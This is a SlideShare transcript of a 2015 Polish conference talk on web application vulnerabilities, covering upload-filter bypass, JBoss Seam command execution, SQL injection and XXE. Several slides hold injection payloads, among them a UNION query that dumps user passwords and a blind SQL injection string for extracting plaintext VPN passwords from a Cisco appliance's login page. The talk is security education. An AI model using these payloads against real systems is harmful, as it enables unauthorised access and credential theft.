Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

4Developers 2015: Wybrane podatności w aplikacjach webowych - Michał Sajdak

202 views

Published on

YouTube: https://www.youtube.com/watch?v=eRkD2a4vMsc&list=PLnKL6-WWWE_WNYmP_P5x2SfzJ7jeJNzfp&index=38

Speaker: Michał Sajdak

Language: Polish

W trakcie prelekcji zaprezentowane zostaną ciekawe podatności w aplikacjach webowych - w tym kilka nieoczywistych metod uzyskiwania shella na systemie operacyjnym czy podatność XXE. Każdy omawiany problem, po krótkim wstępie teoretycznym, prezentowany jest na żywo.

4Developers: http://4developers.org.pl/pl/

Published in: Software
  • Be the first to comment

  • Be the first to like this

4Developers 2015: Wybrane podatności w aplikacjach webowych - Michał Sajdak

  1. 1. Wybrane podatności w aplikacjach webowych Michał Sajdak, CISSP, CEH, CTT+ www.securitum.pl www.sekurak.pl
  2. 2. O Prelegencie Michał Sajdak <at> securitum.pl Testy bezpieczeństwa aplikacji Szkolenia z security  - również dla testerów programistów http://securitum.pl/ 2 Copyright 2014 Securitum www.securitum.pl
  3. 3. Agenda OS Command EXEC 1. Cisco RVS 4000 2. Jak omijać filtry w uploadzie? 3. Biblioteka JBoss Seam 4. Cisco Security Appliance (jeśli będzie czas) OS Command EXEC + SQLi 5. XXE (XML eXternal Entities) Info tylko w celach edukacyjnych! 3 Copyright 2014 Securitum www.securitum.pl
  4. 4. Cisco RVS 4000 Security router VPN, Firewall, IPS, … 4 Copyright 2015 Securitum www.securitum.pl
  5. 5. Cisco RVS 4000 5 Copyright 2015 Securitum www.securitum.pl
  6. 6. Upload / Apache – omijanie filtrów Formularze zazwyczaj blokują upload plików wykonywalnych (np. php) Edytory wizualne Uploady CV Etc. Ale często stosują… blacklisting Czyli uniemożliwiają upload plików z rozszerzeniem .php / .aspx / itd 6 Copyright 2014 Securitum www.securitum.pl
  7. 7. Upload / Apache – omijanie filtrów Zagadka W jaki sposób Apache HTTP server zinterpretuje plik: siekiera.jpg.php.wnk2j3.tralalala.sekurak Jako txt ? Jako PHP ? Jako jpg ? 7 Copyright 2014 Securitum www.securitum.pl
  8. 8. 8 Copyright 2014 Securitum www.securitum.pl
  9. 9. OS Command Exec – JBoss Seam Dość stara podatność Ale będąca przykładem ogólniejszego trendu: Używamy biblioteki X, która w momencie uruchomienia systemu jest bezpieczna Mija Y czasu… i w bibliotece znane są krytyczne podatności Info: Meder Kydyraliev, Seam Vulnerability, http://blog.o0o.nu/ 9 Copyright 2014 Securitum www.securitum.pl
  10. 10. OS Command Exec – JBoss Seam Dość stara podatność Można w sposób nieuwierzytelniony wywołać instancje klas… i dalej wołać metody W szczególności Runtime.exec(„calc.exe”) 10 Copyright 2014 Securitum www.securitum.pl
  11. 11. OS Command Exec – JBoss Seam Na docelowych systemach możemy mieć różne wersje javy Więc należy w danym przypadku zlokalizować indeksy zadeklarowanych metod: public static java.lang.Runtime java.lang.Runtime.getRuntime() Process java.lang.Runtime.exec(java.lang.String) 11 Copyright 2014 Securitum www.securitum.pl
  12. 12. OS Command Exec – JBoss Seam Jeśli znajdziemy starego JBossa prawie gwarancja że mamy nieuwierzytelniony OS Command Exec Na systemach Windows – często Administrator Podatne też inne javowe app servery De facto jest to błąd w bibliotece nie w app serverze.. 12 Copyright 2014 Securitum www.securitum.pl
  13. 13. OS Command Exec – JBoss Seam Zobaczmy 13 Copyright 2014 Securitum www.securitum.pl
  14. 14. SQL injection http://site.pl/news.php?id=10 SELECT * FROM news WHERE id = 10 AND active = 1 http://site.pl/news.php?id=10%20OR%201=1%23 SELECT * FROM news WHERE id = 10 OR 1=1# AND active = 1 14 Copyright 2015 Securitum www.securitum.pl
  15. 15. SQL injection http://site.pl/news.php?id=-1 UNION ALL SELECT user,password, NULL, NULL FROM users# SELECT * FROM news WHERE id = -1 UNION ALL SELECT user,password, NULL, NULL FROM users# AND active = 1 15 Copyright 2015 Securitum www.securitum.pl
  16. 16. SQL injection – przykład na ekranie logowania Cisco Security Appliance (SA 520) $SQL = „SELECT * FROM users WHERE login = ‘$login’ AND password = ‘$password’ Kontrolujemy login i hasło Zobaczmy co się stanie jeśli użyjemy jako login/password ciągu: ‘ or ‘1’=‘1 $SQL = „SELECT * FROM users WHERE login = ‘’ or ‘1’=‘1’ AND password = ‘’ or ‘1’=‘1’ Copyright 2015 Securitum www.securitum.pl 16
  17. 17. SQL injection – przykład na ekranie logowania SA 500 Appliance $SQL = „SELECT * FROM users WHERE login = ‘’ or ‘1’=‘1’ AND password = ‘’ or ‘1’=‘1’ Zwraca wszystkie wiersze z tabeli Użyjmy tego na SA500 Możemy tutaj użyć techniki blind SQL injection Copyright 2015 Securitum www.securitum.pl 17
  18. 18. SQL injection – przykład na ekranie logowania SA 500 Cel – chcemy pobrać wszystkie loginy i hasła (w plaintext) Copyright 2015 Securitum www.securitum.pl 18
  19. 19. SQL injection – przykład na ekranie logowania Następne kroki Potrzebujemy znać typ bazy danych Potrzebujemy wiedzieć w jakiej tabeli przechowywane są dane o użytkownikach oraz: jak nazywają się kolumny przechowujące loginy / hasła  Wszystkie te informacje mogą być uzyskane dzięki analizie whitebox  Baza: SQLLite  Nazwa tabeli: SSLVPNUsers  Kolumny: Username / Password Copyright 2015 Securitum www.securitum.pl 19
  20. 20. SQL injection – przykład na ekranie logowania Pełne zapytanie pobierające użytkowników / hasła wygląda tak: SELECT Username, Password FROM SSLVPNUsers Ale nie możemy tego użyć bezpośrednio Ekran logowania nie wyświetla nic poza komunikatami o błędach Copyright 2015 Securitum www.securitum.pl 20
  21. 21. SQL injection – przykład na ekranie logowania Pobierzemy więc użytkowników hasła litera po literze Jak to zrobić? Potrzebujemy trochę praktyki z SQL ;-) Copyright 2015 Securitum www.securitum.pl 21
  22. 22. SQL injection – przykład na ekranie logowania  SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0  Pobiera pierwsze hasło w bazie  substr((SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0),1,1)  Pobiera pierwszą literę pierwszego hasła w bazie Copyright 2015 Securitum www.securitum.pl 22
  23. 23. SQL injection – przykład na ekranie logowania  Nasz login będzie następujący:  ‘ OR substr((SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0),1,1)=‘a’--  Co skutkuje następującym zapytaniem:  SELECT * FROM SSLVPNUser WHERE login = ‘‘ OR substr((SELECT Password FROM SSLVPNUser LIMIT 1 OFFSET 0),1,1)=‘a’--’ AND password = ‘$password’  Zwraca ono „invalid username” kiedy pierwsza litera hasła != ‘a’  Zwraca ono „inny błąd” kiedy pierwsza litera hasła = ‘a’ Copyright 2015 Securitum www.securitum.pl 23
  24. 24. XXE (XML eXternal Entities) Mało znany problem…ale dość istotny W 2013 roku Reginaldo Silva otrzymał w ramach bugbounty z Facebooka $33 500 RCE z wykorzystaniem XXE FB wypuścił patcha w 3.5h od zgłoszenia (!) 24 Copyright 2014 Securitum www.securitum.pl
  25. 25. XXE (XML eXternal Entities) Encje znany z HTML-a: &lt; lub < < &quot; &apos; &amp; &micro; … Ogólnie: &nazwa_encji; &#numer_encji; 25 Copyright 2014 Securitum www.securitum.pl
  26. 26. Renderowanie encji w HTML W XML-u: działa to podobnie… 26 Copyright 2014 Securitum www.securitum.pl
  27. 27. XXE (XML eXternal Entities) … możemy definiować własne encje <!ENTITY name "value"> 27 Copyright 2014 Securitum www.securitum.pl
  28. 28. 28 Copyright 2014 Securitum www.securitum.pl
  29. 29. 29
  30. 30. XXE (XML eXternal Entities) Zobaczmy http://sekurak.pl/tag/xxe/ dwa artykuły – jeden podstawowy, drugi – bardziej zaawansowany. 30 Copyright 2014 Securitum www.securitum.pl
  31. 31. Dziękuję za uwagę Pytania? Kontakt: michal.sajdak@securitum.pl Szkolenia Testy bezpieczeństwa aplikacji 31 Copyright 2014 Securitum www.securitum.pl
  32. 32. 32

×